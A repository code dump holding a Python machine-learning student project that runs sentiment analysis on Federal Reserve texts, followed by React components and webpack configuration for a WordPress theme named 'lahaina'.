parser.add_argument('-f','--fit', nargs='+', help= "'svm', 'logistic_lasso', 'Naive_Bayes', 'logistic'", default='logistic_lasso') args = parser.parse_args() df = pd.read_csv(args.input) ng = df.NGram.values z = [int(x.split(':')[0]) for x in ng] df["NGramInt"] = z fits = [f.replace("_B"," B") for f in args.fit] if len(fits) == 1: fitScore(df, fits[0], args.output) if len(fits) > 1: compareFits(df, fits, args.output, args.range) <file_sep>from modelutils import modelutils from clean import simple_clean from clean import complex_clean import argparse if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Spring 2019') parser.add_argument('--decision', default="../text/history/RatesDecision.csv") parser.add_argument('--minutes', default="../text/minutes") parser.add_argument('--speeches', default="../text/speeches") parser.add_argument('--statements', default="../text/statements") parser.add_argument('--pctTrain', default=0.75, type=float) parser.add_argument('--Niter', default=10, type=int) parser.add_argument('--cleanAlgo', default="complex") parser.add_argument('--ngram', nargs='+', default=['1,1']) args = parser.parse_args() df = modelutils.decisionDF(args.decision) mn = modelutils.getMinutes(args.minutes, df, complex_clean) st = modelutils.getStatements(args.statements, df, complex_clean) sp = modelutils.getSpeeches(args.speeches, df, complex_clean) if False: print("--RatesDecision") print(df) print("---Minutes") print(mn) print("---Statements") print(st) print("---Speeches") print(sp) train, test = modelutils.splitTrainTest([mn, st, sp], 0.75) print("train_size=%d, test_size=%d, total_size=%d" % (len(train), len(test), len(train) + len(test))) print("randmoly split training set") print(train) print("randmoly split test set") print(test) # # # data_stacked = modelutils.stackFeatures([mn, st, sp]) print("--- all of the features stacked---") print(data_stacked) <file_sep>import os import numpy as np import argparse import pandas as pd from sklearn.metrics import accuracy_score from sklearn.svm import LinearSVC from sklearn.linear_model import LogisticRegression from sklearn.feature_extraction.text import CountVectorizer import matplotlib.pyplot as plt # # This run random experiments to detect sentimate in randomly generated text # # Overview # 1) load 3 word dictionaries common, positive, negative # 2) randomly generate data using (common, positive) (common, negative), shuffle # 3) split into test training # 4) create features (X's) for trainng/test using Vectorize # 5) fit the model # 6) check its accuracy # To run download the following 3 files of common, positive and negative words: # (1) A list of 20k commonly used English Words # curl https://raw.githubusercontent.com/first20hours/google-10000-english/master/20k.txt -o 20k.txt # (2) A list of negative words # curl https://gist.githubusercontent.com/mkulakowski2/4289441/raw/dad8b64b307cd6df8068a379079becbb3f91101a/negative-words.txt -o neg_words.tx # (3) A list of positive words # curl https://gist.githubusercontent.com/mkulakowski2/4289437/raw/1bb4d7f9ee82150f339f09b5b1a0e6823d633958/positive-words.txt -o pos_words.txt # To run download the following 3 files # # # read in words from common, postive, negative # return 3 lists common, postive, negative # def loadWords(commonFile="./20k.txt", positiveFile="./pos_words.txt", negativeFile="./neg_words.txt"): # curl https://gist.githubusercontent.com/mkulakowski2/4289441/raw/dad8b64b307cd6df8068a379079becbb3f91101a/negative-words.txt -o neg_words.tx # curl https://gist.githubusercontent.com/mkulakowski2/4289437/raw/1bb4d7f9ee82150f339f09b5b1a0e6823d633958/positive-words.txt -o pos_words.txt # curl https://raw.githubusercontent.com/first20hours/google-10000-english/master/20k.txt -o 20k.txt neg = [w for w in open(negativeFile).read().split('\n') if len(w) > 0 and w[0] != ';'] pos = [w for w in open(positiveFile).read().split('\n') if len(w) > 0 and w[0] != ';'] common = [w for w in open(commonFile).read().split('\n') if len(w) > 0] return common, pos, neg # generateData # inputs # N - total sample size generated # Ncommon - number of common_words in text # Nsen - number of sentiment words in text # common_words - list of common words # pos_words - list of positive words # neg_words - list of negative words # output # returns randomly shuffeled nparray ([text0, score0], [text1, score1], ... [textN-1, scoreN-1]) # where text_i is either postive or negative def generateData(common_words, pos_words, neg_words, N, textLen, pctSen, pos_score=1, neg_score=0): def genText(Ncommon, common_words, Nsen, sen_words): words=np.concatenate((np.random.choice(sen_words, Nsen), np.random.choice(common_words, Ncommon))) np.random.shuffle(words) return " ".join(words[i] for i in range(len(words))) Nsen = int(textLen*pctSen) Ncommon = textLen - Nsen pos_data = [[genText(Ncommon, common_words, Nsen, pos_words),pos_score] for i in range(N)] neg_data = [[genText(Ncommon, common_words, Nsen, neg_words),neg_score] for i in range(N)] all_data = np.concatenate((pos_data, neg_data)) np.random.shuffle(all_data) return all_data # splitData # input - the output from generateData # output - pandas DataFrame columns=['text', 'sentiment'] def splitData(all_data, pctTrain): Ntrain = int(len(all_data)*pctTrain) train_data = pd.DataFrame(all_data[0:Ntrain],columns=['text', 'sentiment']) test_data = pd.DataFrame(all_data[Ntrain:], columns=['text', 'sentiment']) return train_data, test_data def experimentData(common, pos, neg, N, textLen, pctSen, pctTrain): all_data = generateData(common, pos, neg, N, textLen, pctSen) train_data, test_data = splitData(all_data, pctTrain) return train_data, test_data def fitData(train_data, test_data, modelType="svc"): # create features vectorizer = CountVectorizer(stop_words="english",preprocessor=None) training_features = vectorizer.fit_transform(train_data["text"]) test_features = vectorizer.transform(test_data["text"]) # run model if modelType == "logistic": model = LogisticRegression() elif modelType == "logistic_lasso": model = LogisticRegression(penalty='l1') else: model = LinearSVC() model.fit(training_features, train_data["sentiment"]) y_pred = model.predict(test_features) acc = accuracy_score(test_data["sentiment"], y_pred) return acc if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Project') parser.add_argument('--common', default="./20k.txt") parser.add_argument('--positive', default="./pos_words.txt") parser.add_argument('--negative', default="./neg_words.txt") parser.add_argument('-n','--N', default=50, type=int) parser.add_argument('-t','--trials', default=3, type=int) parser.add_argument('-l','--textLen', default=60, type=int) parser.add_argument('-s','--pctSen', help='pct of sentiment words in the text', default=0.10, type=float) parser.add_argument('-p','--pctTrain', help='pct of sample for training', default=0.75, type=float) args = parser.parse_args() common, pos, neg = loadWords(args.common, args.positive, args.negative) T, N, textLen, pctSen, pctTrain = args.trials, args.N, args.textLen, args.pctSen, args.pctTrain print("%10s, %10s, %10s, %10s, %10s, %10s, %10s" %('T','N',' TextLen', 'PctSen', 'PctTrain', 'mean(acc)', 'std(acc)')) stp=40 S = int(textLen/stp) L, Asvm, Alog, Aloglasso = np.zeros(S), np.zeros(S), np.zeros(S), np.zeros(S) # vary textLen for j, l in enumerate(range(stp,textLen+1,stp)): accsvm, acclog, accloglasso = np.zeros(T), np.zeros(T), np.zeros(T) for i in range(T): train_data, test_data = experimentData(common, pos, neg, N, l, pctSen, pctTrain) accsvm[i] = fitData(train_data, test_data, modelType='svc') acclog[i] = fitData(train_data, test_data, modelType='logistic') accloglasso[i] = fitData(train_data, test_data, modelType='logistic_lasso') Asvm[j] = np.mean(accsvm) Alog[j] = np.mean(acclog) Aloglasso[j] = np.mean(accloglasso) L[j] = l print("%10d, %10d, %10d, %10.3f, %10.3f, %10.3f, %10.3f, %10.3f, %10.3f, %10.3f, %10.3f" % (T,N, l, pctSen, pctTrain, np.mean(accsvm), np.std(accsvm), np.mean(acclog), np.std(acclog), np.mean(accloglasso), np.std(accloglasso))) plt.plot(L, Asvm, label='svm') plt.plot(L, Alog, label='logistic') plt.plot(L, Aloglasso, label='logistic_lasso') plt.title("Accuracy vs N Words in Text") plt.xlabel("Words in Text") plt.ylabel("Accuracy") plt.legend() plt.show() <file_sep># # # from __future__ import print_function import sys import os import time import datetime import numpy as np import argparse import torch import torch.nn as nn import torch.nn.functional as F import torch.utils.data as udata from torch.autograd import Variable import torch from torchtext import data from clean import simple_clean from clean import complex_clean from modelutils import modelutils # to install pytorch # conda install pytorch torchvision -c soumith # # Neural Net1 Fully Connected # class FCNet1(nn.Module): def __init__(self, N): super(FCNet1, self).__init__() # 2 hidden layer NN # layer1 x-> self.fc1 = nn.Sequential(nn.Linear(N, N), nn.ReLU()) #layer2 n2 = int(N/2) self.fc2 = nn.Sequential(nn.Linear(N, n2), nn.ReLU()) #output could do three to predict if raise, lower or hold self.fc3 = nn.Sequential(nn.Linear(n2, 2), nn.Sigmoid()) def forward(self, X): xo = self.fc1(X) xo = self.fc2(xo) return self.fc2(xo) if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Spring 2019') parser.add_argument('--decision', default="../text/history/RatesDecision.csv") parser.add_argument('--minutes', default="../text/minutes") parser.add_argument('--speeches', default="../text/speeches") parser.add_argument('--statements', default="../text/statements") parser.add_argument('--pctTrain', default=0.75, type=float) parser.add_argument('--Niter', help="number of times to refit data", default=10, type=int) parser.add_argument('--cleanAlgo', default="complex") parser.add_argument('--ngram', nargs='+', default=['1,1']) parser.add_argument('--max_iter', help="max iterations for sklearn solver", default=25000, type=int) parser.add_argument('--solver', help="solver for sklearn algo", default='liblinear') parser.add_argument('--data', nargs="+", default=["minutes", "speeches", "statements"]) parser.add_argument('--stack', action='store_true', default=False) args = parser.parse_args() ngrams = [(int(x.split(",")[0]),int(x.split(",")[1])) for x in args.ngram] clean_algo = complex_clean if args.cleanAlgo == "complex" else simple_clean pctTrain, cleanA, Niter, ngram = args.pctTrain, args.cleanAlgo, args.Niter, args.ngram solver, max_iter, datasetlist = args.solver, args.max_iter, args.data assert len(datasetlist) > 0, "no data sets specified" datasetlabel=":".join(d for d in datasetlist) # fed rate decison matrix df = modelutils.decisionDF(args.decision) # datsets data_set, N, start, end = [], 0, datetime.datetime.now(), datetime.datetime(1970, 1, 1) if "minutes" in datasetlist: data_set.append(modelutils.getMinutes(args.minutes, df, clean_algo)) (N, start, end) = modelutils.getBounds(data_set[-1]) if "speeches" in datasetlist: data_set.append(modelutils.getSpeeches(args.speeches, df, clean_algo)) (N1, start1, end1) = modelutils.getBounds(data_set[-1]) N , start, end = N + N1, min(start, start1), max(end, end1) if "statements" in datasetlist: data_set.append(modelutils.getStatements(args.statements, df, clean_algo)) (N1, start1, end1) = modelutils.getBounds(data_set[-1]) N , start, end = N + N1, min(start, start1), max(end, end1) assert N > 0, "no data in data_set" start, end = start.strftime("%m/%d/%Y"), end.strftime("%m/%d/%Y") if args.stack: data_set = modelutils.stackFeatures(data_set) N = len(data_set) stack="True" else: stack="Flase" model_data_set = data_set train_data, test_data = modelutils.splitTrainTest(model_data_set, pctTrain) training_features, test_features = modelutils.getFeatures(train_data, test_data, ngrams[0]) net = FCNet1(100) <file_sep># ML9 ### Machine Learning NYU Spring 2019 ###### <NAME> and <NAME> #### writeups 1. ./presentation 2. MLPaper.pdf - paper submitted for the class 3. MLPaper.txt - latex version #### code 1. code in /src 2. model_analysis.py - work horse to compare models 3. to run stacked 4. /src/model_analysis.py --data minutes speeches minutes --stack --ngram 3,5 5,10, 10,15 -o ./myoutput 5. to run non-stacked 6. /src/model_analysis.py --data minutes speeches minutes --ngram 3,5 5,10, 10,15 -o ./myoutput 7. modelutils.py : reads documents puts into pandas DataFrame: stacks the data : splits data : CountVectorizer 8. simulator.py : generates random text and simulates sentimate analysis 9. model2_pr.py : compares NB, LL, SVM, 10. textScraper.py : scrapes documents from federal reserve websites, gets speeches, statements, minutes 11. fedActionFromTargetRate.py : looks at historical federal erserve action 12. model2_lda.py for LatentDirichletAllocation 13. organizeDocuments.py : puts time stamps on files names and orgnizes docs into statemnts, speeches, minutes 12. neural nets ./src/model3_nn.py #### output 1. output from analysis in csv files 2. output/naivebayes_20190513.csv 3. output/logisticlasso_20190513.csv #### various analysis on output 1. python analysis.py -i ../analysis/all_lasso.csv ../analysis/naive.csv -r psize -l 1.1 -o SizeVF1 2. Sparsity vs F1 3. python analysis.py -i ../analysis/all_lasso.csv ../analysis/naive.csv -r psparse -l 0.0025 -o SparsityVF1 #### data for project 1. ./text/minutes - meeting minutes 2. ./text/speeches - fed speeches 3. ./text/statements #### data for simulator 1. ./simdata 2. 20k.txt 20 thousand common english words 3. neg_words.txt : note attribution in file 4. pos_words.txt : note attribution in file #### some results from study 1. N-grams with CountVectorizer can generate millions of features and extremely sparse matricies 2. Logistic Lasso with slight penalty C=50.0 a=1/50.0 worked best 3. Naive Bayes does well in extreme sparsity 4. Stacking Documents reduces sparsity 5. N-grams between 4 and 20 words were the best 6. N-grams above 20 start creating extreme sparse matricies 7. Logistic Lasso with large regularization parameter does not do well with sparse matricies 8. TFIDF produced similiar results to CountVectorizer 9. TFIDF had slightly lower feature counts <file_sep>import os import sys import argparse import numpy as np import pandas as pd import datetime import bisect import re from clean import simple_clean from clean import complex_clean from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics import accuracy_score from sklearn.svm import LinearSVC from sklearn.linear_model import LogisticRegression from sklearn.naive_bayes import MultinomialNB import matplotlib.pyplot as plt import csv from modelutils import modelutils from sklearn.metrics import precision_recall_fscore_support from sklearn import decomposition from sklearn.decomposition import LatentDirichletAllocation # this version allows for multiple fit methods (SVM, Logistic, Logistic Lasso) # this method also computes the mean and std deviation of the accuracy by # this version also allows for ngrams # allows the text preprocessing algorithm to be selected # running each model Niter Times # python ./model2_0.py --ngram 1,1 2,2 3,3 1,3 2,3 --Niter 3 --pctTrain .8 --data minutes speeches statements def print_top_words(model, feature_names, n_top_words): print() for topic_idx, topic in enumerate(model.components_): message = "Topic #%d: " % topic_idx message += "|".join([feature_names[i] for i in topic.argsort()[:-n_top_words - 1:-1]]) print(message) print() print() def runModels(model_data_set): docs = pd.concat(model_data_set) docs = docs["DocText"] vectorizer = CountVectorizer(min_df = 5, stop_words='english', ngram_range=(1,2), lowercase=True) wordMatrix = vectorizer.fit_transform(docs) lda = LatentDirichletAllocation(n_components=4,learning_method="online",max_iter=50) lda.fit(wordMatrix) tf_feature_names = vectorizer.get_feature_names() print_top_words(lda, tf_feature_names, 15) if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Spring 2019') parser.add_argument('--decision', default="../text/history/RatesDecision.csv") parser.add_argument('--minutes', default="../text/minutes") parser.add_argument('--speeches', default="../text/speeches") parser.add_argument('--statements', default="../text/statements") parser.add_argument('--pctTrain', default=0.75, type=float) parser.add_argument('--Niter', help="number of times to refit data", default=10, type=int) parser.add_argument('--cleanAlgo', default="complex") parser.add_argument('--ngram', nargs='+', default=['1,1']) parser.add_argument('--max_iter', help="max iterations for sklearn solver", default=25000, type=int) parser.add_argument('--solver', help="solver for sklearn algo", default='liblinear') parser.add_argument('--data', nargs="+", default=["minutes", "speeches", "statements"]) parser.add_argument('--stack', action='store_true', default=False) args = parser.parse_args() ngrams = [(int(x.split(",")[0]),int(x.split(",")[1])) for x in args.ngram] clean_algo = complex_clean if args.cleanAlgo == "complex" else simple_clean pctTrain, cleanA, Niter, ngram = args.pctTrain, args.cleanAlgo, args.Niter, args.ngram solver, max_iter, datasetlist = args.solver, args.max_iter, args.data assert len(datasetlist) > 0, "no data sets specified" datasetlabel=":".join(d for d in datasetlist) # fed rate decison matrix df = modelutils.decisionDF(args.decision) # datsets data_set, N, start, end = [], 0, datetime.datetime.now(), datetime.datetime(1970, 1, 1) if "minutes" in datasetlist: data_set.append(modelutils.getMinutes(args.minutes, df, clean_algo)) (N, start, end) = modelutils.getBounds(data_set[-1]) if "speeches" in datasetlist: data_set.append(modelutils.getSpeeches(args.speeches, df, clean_algo)) (N1, start1, end1) = modelutils.getBounds(data_set[-1]) N , start, end = N + N1, min(start, start1), max(end, end1) if "statements" in datasetlist: data_set.append(modelutils.getStatements(args.statements, df, clean_algo)) (N1, start1, end1) = modelutils.getBounds(data_set[-1]) N , start, end = N + N1, min(start, start1), max(end, end1) assert N > 0, "no data in data_set" start, end = start.strftime("%m/%d/%Y"), end.strftime("%m/%d/%Y") if args.stack: data_set = [modelutils.stackFeatures(data_set)] runModels(data_set) <file_sep>import re def complex_clean(text): try: clean = re.sub("\\'",'',text).strip() clean = re.sub("[^\x20-\x7E]", "",clean).strip() clean = re.sub("[0-9/-]+ to [0-9/-]+ percent","percenttarget ",clean) clean = re.sub("[0-9/-]+ percent","percenttarget ",clean) clean = re.sub("[0-9]+.[0-9]+ percent","dpercent",clean) clean = re.sub(r"[0-9]+","dd",clean) clean = re.sub("U.S.","US",clean).strip() clean = re.sub("p.m.","pm",clean).strip() clean = re.sub("a.m.","am",clean).strip() clean = re.sub("S&P","SP",clean).strip() clean = re.sub(r'(?<!\d)\.(?!\d)'," ",clean).strip() clean = re.sub(r""" [,;@#?!&$"]+ # Accept one or more copies of punctuation \ * # plus zero or more copies of a space """, " ", # and replace it with a single space clean, flags=re.VERBOSE) clean = re.sub('--', ' ', clean).strip() clean = re.sub("'",' ',clean).strip() clean = re.sub("- ","-",clean).strip() clean = re.sub('\(A\)', ' ', clean).strip() clean = re.sub('\(B\)', ' ', clean).strip() clean = re.sub('\(C\)', ' ', clean).strip() clean = re.sub('\(D\)', ' ', clean).strip() clean = re.sub('\(E\)', ' ', clean).strip() clean = re.sub('\(i\)', ' ', clean).strip() clean = re.sub('\(ii\)', ' ', clean).strip() clean = re.sub('\(iii\)', ' ', clean).strip() clean = re.sub('\(iv\)', ' ', clean).strip() clean = re.sub('/^\\:/',' ',clean).strip() clean = re.sub(r"FRB: .*Minutes of", "Minutes of", clean) clean=re.sub('\s+', ' ',clean).strip() except: print("Unable to clean file %s" % files) return " " return clean def simple_clean(text): # *** see attribution below ***** # this code is taken from the following web-site # https://medium.com/data-from-the-trenches/text-classification-the-first-step-toward-nlp-mastery-f5f95d525d73 """ Applies some pre-processing on the given text. Steps : - Removing HTML tags - Removing punctuation - Lowering text """ # remove HTML tags text = re.sub(r'<.*?>', '', text) # remove the characters [\], ['] and ["] text = re.sub(r"\\", "", text) text = re.sub(r"\'", "", text) text = re.sub(r"\"", "", text) # convert text to lowercase text = text.strip().lower() # replace punctuation characters with spaces filters='!"\'#$%&()*+,-./:;<=>?@[\\]^_`{|}~\t\n' translate_dict = dict((c, " ") for c in filters) translate_map = str.maketrans(translate_dict) text = text.translate(translate_map) return text <file_sep>import numpy as np import sys # # simple test python # def main(): assert len(sys.argv) > 1 N = int(sys.argv[1]) assert N < 1e7 uni = np.random.uniform(-10,10,N) print(np.mean(uni), np.std(uni)) nrm = np.random.normal(0, np.std(uni), N) print(np.mean(nrm), np.std(nrm), N) if __name__ == '__main__': main()
9adccb3dcb7edebeddadcfc84995a3fa1d7d07f2
[ "Markdown", "Python" ]
29
Python
jrrpanix/ML9
e501bb530f82620146b2d7703c3b561b49067dd7
9a440e886fa2c97466da49b44b8f1580dc6b3652
refs/heads/master
<repo_name>admangum/lahaina<file_sep>/src/lahaina/src/common/components/loading.comp.js var React = require('react'); module.exports = React.createClass({ render: function() { var loading = this.props.loading; return ( <li className="loading-indicator" style={loading ? {} : {opacity: 0, zIndex: -10000}}><i className="icon-spin1 animate-spin"/></li> ); } });<file_sep>/src/lahaina/src/list/config/list.config.js module.exports = { TRANSITION_OUT_DURATION: 1150 };<file_sep>/src/lahaina/webpack.config.js var path = require('path'); module.exports = { // entry: './src/main.js', output: { // path: './dist/', filename: 'bundle.js', publicPath: 'wp-content/themes/lahaina/' }, module: { loaders: [{ test: /\.jsx?$/, exclude: /(node_modules|bower_components)/, loader: 'babel', query: { presets: ['react'] } }, { test: /\.svg$/, loader: 'svg-sprite?' + JSON.stringify({ name: '[name]_[hash]' }) }] }, devtool: '#source-map', resolve: { alias: { xyz: path.resolve('./src/content/styles') } } };<file_sep>/src/lahaina/src/common/components/mark.comp.js var React = require('react'); var HashHistory = require('react-router').hashHistory; var Link = require('react-router').Link; module.exports = React.createClass({ getClassName: function(){ return this.props.location.pathname.match(/^\/post\//) ? ' back' : ''; }, onClick: function(e){ if(this.getClassName().match(/back/)){ // go back HashHistory.goBack(); }else{ // go home document.location = ''; } }, render: function(){ return ( <button className="mark-btn" onClick={this.onClick}> <svg className={'mark-svg' + this.getClassName()} onLoad={this.onLoad} viewBox="0 0 60 60"> <circle cx="30" cy="30" r="30" style={{fill:'#232323'}}/> <g className="mark"> <line className="a1" x1="23.3" y1="17.44" x2="36" y2="39.43" style={{fill:'none',stroke:'#fff','strokeLinecap':'round','strokeLinejoin':'round','strokeWidth':'2px'}}/> <line className="a2" x1="10.6" y1="39.43" x2="23.3" y2="17.44" style={{fill:'none',stroke:'#fff','strokeLinecap':'round','strokeLinejoin':'round','strokeWidth':'2px'}}/> <line className="m" x1="35.9" y1="17.44" x2="48.6" y2="39.43" style={{fill:'none',stroke:'#fff','strokeLinecap':'round','strokeMiterlimit':10,'strokeWidth':'2px'}}/> </g> </svg> </button> ); } });<file_sep>/src/lahaina/src/core/core.actions.js var Reflux = require('reflux'); module.exports = Reflux.createActions([ 'postSelected', 'routeChanged' ]);<file_sep>/src/lahaina/src/app.comp.js var React = require('react'); var Reflux = require('reflux'); var CoreActions = require('./core/core.actions'); var PostStore = require('./core/post.store'); var Mark = require('./common/components/mark.comp'); module.exports = React.createClass({ mixins: [Reflux.ListenerMixin], componentWillMount: function(){ this.onRouteChange(this.props.params); }, componentWillReceiveProps: function(props){ if(props.location.action === 'POP' || props.location.pathname === '/'){ this.onRouteChange(props.params); } }, onRouteChange: function(params){ CoreActions.routeChanged(params); }, render: function(){ return ( <div> <header className="site-header"> <h1> <Mark location={this.props.location}/> </h1> </header> {this.props.children} </div> ); } }); <file_sep>/src/lahaina/src/post/components/embedded-content.comp.js var React = require('react'); module.exports = React.createClass({ onLoad: function(){ this.updateEmbeddedContentBodyStyles(); }, updateEmbeddedContentBodyStyles: function(){ var embeddedContentBody = this.getEmbeddedContentBody(), embeddedContentBodyStyles = this.getEmbeddedContentBodyStyles(); if(embeddedContentBody && embeddedContentBodyStyles){ _.each(embeddedContentBodyStyles, function(val, key){ embeddedContentBody.style[key] = val; }); } }, getEmbeddedContentBody: function(){ var embeddedContent = document.getElementById('embedded-content'), embeddedDocument = embeddedContent && (embeddedContent.contentDocument || embeddedContent.contentWindow.document); return embeddedDocument && embeddedDocument.getElementsByTagName('body')[0]; }, getEmbeddedContentBodyStyles: function(){ return this.getEmbeddedContentPadding(); }, getEmbeddedContentPadding: function(){ try{ return this.props.post.custom_fields.embedded_content_padding[0] === '1' ? {'padding-top': '200px'} : null; }catch(err){ return null; } }, getEmbeddedContentUrl: function(){ try{ return this.props.post.custom_fields.embedded_content_url[0]; }catch(err){ return ''; } }, getEmbeddedContentAspectRatio: function(){ var ratio; try{ ratio = this.props.post.custom_fields.embedded_content_aspect_ratio[0].split(':'); ratio = (parseInt(ratio[1], 10) / parseInt(ratio[0], 10)) * 100; return isNaN(ratio) ? '' : ratio.toFixed(4); }catch(err){ return ''; } }, render: function(){ var url = this.getEmbeddedContentUrl(), aspectRatio = this.getEmbeddedContentAspectRatio(); if(url && aspectRatio){ return ( <div className="embedded-content-wrapper" style={{'paddingBottom': aspectRatio + '%'}}> <iframe id="embedded-content" src={url} allowFullScreen="0" frameBorder="0" onLoad={this.onLoad}/> </div> ); }else{ return null; } } });<file_sep>/src/lahaina/src/common/utils/img.utils.js var React = require('react'), _ = require('lodash'), utils; function getTeaserImageAttachment(post){ var teaserImageId = post.custom_fields.teaser_image[0]; return _.find(post.attachments, function(attachment){ return attachment.id === parseInt(teaserImageId, 10) && attachment.mime_type.indexOf('image') === 0; }); } function transformDimensions(options){ var dimensions = options.dimensions, constraints = options.constraints; if(dimensions.width <= constraints.width){ return dimensions; } return { width: constraints.width, height: Math.round((constraints.width / dimensions.width) * dimensions.height) }; } utils = { getTeaserImage: function(post, constraints){ try{ var attachment = getTeaserImageAttachment(post), dimensions; if(constraints){ dimensions = transformDimensions({ dimensions: attachment.images.full, constraints: constraints }); return ( <img src={attachment.images.full.url} width={dimensions.width} height={dimensions.height}/> ); } return (<img src={attachment.images.full.url}/>) }catch(err){ return null; } }, getTeaserImageConstraints: function(width, height){ var constraints = {}; if(!width && !height){ return null; } if(width){ constraints.width = width; } if(height){ constraints.height = height; } return constraints; } }; module.exports = utils;<file_sep>/src/lahaina/src/post/components/post.comp.js var _ = require('lodash'); var React = require('react'); var Reflux = require('reflux'); var PostStore = require('../../core/post.store'); var PostTags = require('../../common/components/post-tags.comp'); var ReactCssTransitionGroup = require('react-addons-css-transition-group'); var layout = require('../../common/utils/layout.utils'); var Footer = require('../../footer/footer.comp'); var EmbeddedContent = require('./embedded-content.comp'); module.exports = React.createClass({ mixins: [Reflux.ListenerMixin], componentWillMount: function(){ this.listenTo(PostStore, this.onPostStoreChange); }, componentWillUnmount: function(){ this.updateBodyClassName(); }, onPostStoreChange: function(data){ if(data.post){ var post = data.post; this.post = post; this.updateBodyClassName(post); if(this.hasCustomStylesheet(post)){ require(['style!css!sass!xyz/' + post.slug + '.scss'], function(){ this.setState({ ready: true }); }.bind(this)); } this.setState({ ready: true }); } }, hasCustomStylesheet: function(post){ try{ return post.custom_fields.custom_stylesheet[0] === '1'; }catch(err){ return false; } }, updateBodyClassName: function(post){ var className = document.body.className.replace(/post-[\w|-]+\s?/, ''); document.body.className = post ? (className + ' post-' + post.slug) : className; }, getInitialState: function(){ return { ready: false }; }, getTitleStyle: function(){ var w = layout.getPageInfo().w * 0.6; return { width: w ? Math.round(w) + 'px' : '100%' }; }, render: function(){ var post = this.post; return this.state.ready && ( <ReactCssTransitionGroup component="div" transitionName="post" transitionAppear={true} transitionAppearTimeout={1000} transitionEnterTimeout={1000} transitionLeaveTimeout={10}> <article key={'post-' + post.id} className="post"> <div className="inner"> <header className="post-header"> <PostTags data={post.categories} type="category" /> <h1 style={this.getTitleStyle()} className="post-title"><span dangerouslySetInnerHTML={{__html: post.title}}></span></h1> </header> {<EmbeddedContent post={post} />} <div className="post-body" dangerouslySetInnerHTML={{__html: post.content}}/> </div> </article> <Footer /> </ReactCssTransitionGroup> ); } });<file_sep>/src/lahaina/src/common/components/first-child.comp.js var React = require('react'); module.exports = React.createClass({ render(){ var children = React.Children.toArray(this.props.children); return children[0] || null; } });<file_sep>/src/lahaina/src/common/utils/layout.utils.js var config = require('../config/config').layout; var _ = require('lodash'); var cache = {}; var page, clientWidth; var layoutUtils = { getLayoutInfo: function(refs){ var colInfo = layoutUtils.getColumnInfo(), cols = _.fill(Array(colInfo.colCount), 0), cP = 0; // pointer return _.reduce(refs, function(memo, ref, key){ var el = ref.getRef(), elH = el.clientHeight; memo[key] = { x: cP * (colInfo.colWidth + config.gutterWidth), y: cols[cP], w: colInfo.colWidth, h: elH }; cols[cP] += elH; // Find shortest column cP = _.reduce(cols, function(memo, v, k){ memo = (_.isUndefined(memo.v) || memo.v > v) ? {v: v, k: k} : memo; return memo; }, {}).k; return memo; }, {}); }, getColumnInfo: function(options){ var appW = this.getClientWidth(options), colCount = Math.floor(Math.max((appW + config.gutterWidth) / (config.minColWidth + config.gutterWidth), 1)), gutCount = colCount - 1, colWidth = Math.round((appW - (gutCount * config.gutterWidth)) / colCount); return { colCount: colCount, colWidth: colWidth }; }, getLayoutHeight: function(layoutInfo){ var result = { layoutHeight: _.reduce(layoutInfo, function(memo, post){ return _.max([memo, post.y + post.h]); }, 0), previousLayoutHeight: cache.layoutHeight }; cache.layoutHeight = result.layoutHeight; return result; }, getPageInfo: function(){ return { w: this.getClientWidth() }; }, getClientWidth: function(options){ options = options || {}; if(!page){ page = document.getElementById('page'); } if(options.recalculate){ clientWidth = page.clientWidth; } return clientWidth; } }; module.exports = layoutUtils;<file_sep>/src/lahaina/src/list/components/post-teaser-list.comp.js var React = require('react'); var Reflux = require('reflux'); var ReactCssTransitionGroup = require('react-addons-css-transition-group'); var PostTeaser = require('./post-teaser.comp'); var LoadingIndicator = require('../../common/components/loading.comp'); var PostStore = require('../../core/post.store'); var Actions = require('../../core/core.actions'); var Link = require('react-router').Link; var utils = require('../../common/utils/layout.utils'); var _ = require('lodash'); var ListConfig = require('../config/list.config'); var Footer = require('../../footer/footer.comp'); var IndexLink = require('react-router').IndexLink; var Mark = require('../../common/components/mark.comp'); var Pagination = require('./pagination.comp'); module.exports = React.createClass({ mixins: [Reflux.ListenerMixin], componentWillMount: function(){ this.listenTo(PostStore, this.onPostsChange); this.onWindowResize = _.debounce(this.onWindowResize, 300); window.addEventListener('resize', this.onWindowResize); }, componentWillUnmount: function(){ window.removeEventListener('resize', this.onWindowResize); }, componentWillUpdate: function(params, state){ if(this.routeDidChange(params.routeParams, state.routeParams)){ // when the route changes, we don't know how many // pages there will be until the new content loads // so assume there's only one and hide the pagination // for now until the content is loaded state.list.pages = 1; state.routeParams = params.routeParams; } }, componentDidUpdate: function(){ if(!this.state.layout && this.state.list.posts){ this.setLayout(); } }, onPostsChange: function(data){ var self = this; requestAnimationFrame(function(){ if(data.transition){ self.setState({ list: {}, layout: null, loading: false }); }else if(data.loading){ self.setState({ loading: !!data.loading }); }else{ self.setState({ list: data.list || {}, layout: null, loading: false, routeParams: self.props.routeParams }); } }); }, onWindowResize: function(){ this.setCols({recalculate: true}); }, onTeaserClick: function(post){ _.delay(function(){ location.hash = '/post/' + post.slug; }, ListConfig.TRANSITION_OUT_DURATION); Actions.postSelected(); }, getInitialState: function(){ return { list: {}, cols: utils.getColumnInfo({recalculate: true}), layout: null, loading: true }; }, shouldComponentUpdate: function(newProps, newState){ var oldState = this.state; return (oldState.list !== newState.list || oldState.layout !== newState.layout || oldState.loading !== newState.loading); }, setCols: function(options){ var self = this; requestAnimationFrame(function(){ self.setState({ cols: utils.getColumnInfo(options), layout: null }); }); }, setLayout: function(){ // because of transitions, some refs may linger // that should not be considered as part of new layout, // so only take refs for posts in this route (they're ordered!) var self = this; var refs = _.toArray(this.refs).slice(0, this.state.list.posts.length); requestAnimationFrame(function(){ self.setState({ layout: utils.getLayoutInfo(refs) }); }); }, routeDidChange: function(routeParamsA, routeParamsB){ var paramsA = _.omit(routeParamsA, ['page']), paramsB = _.omit(routeParamsB, ['page']); return !_.isEqual(paramsA, paramsB); }, getStyle: function(layout, posts){ var l = utils.getLayoutHeight(layout), h = l.layoutHeight || l.previousLayoutHeight; try{ return /*h ? */{ height: h};// : {}; }catch(err){ return {}; } }, render: function() { var state = this.state, posts = state.list.posts || [], style = this.getStyle(state.layout, posts); return ( <div className="post-teaser-list-comp"> 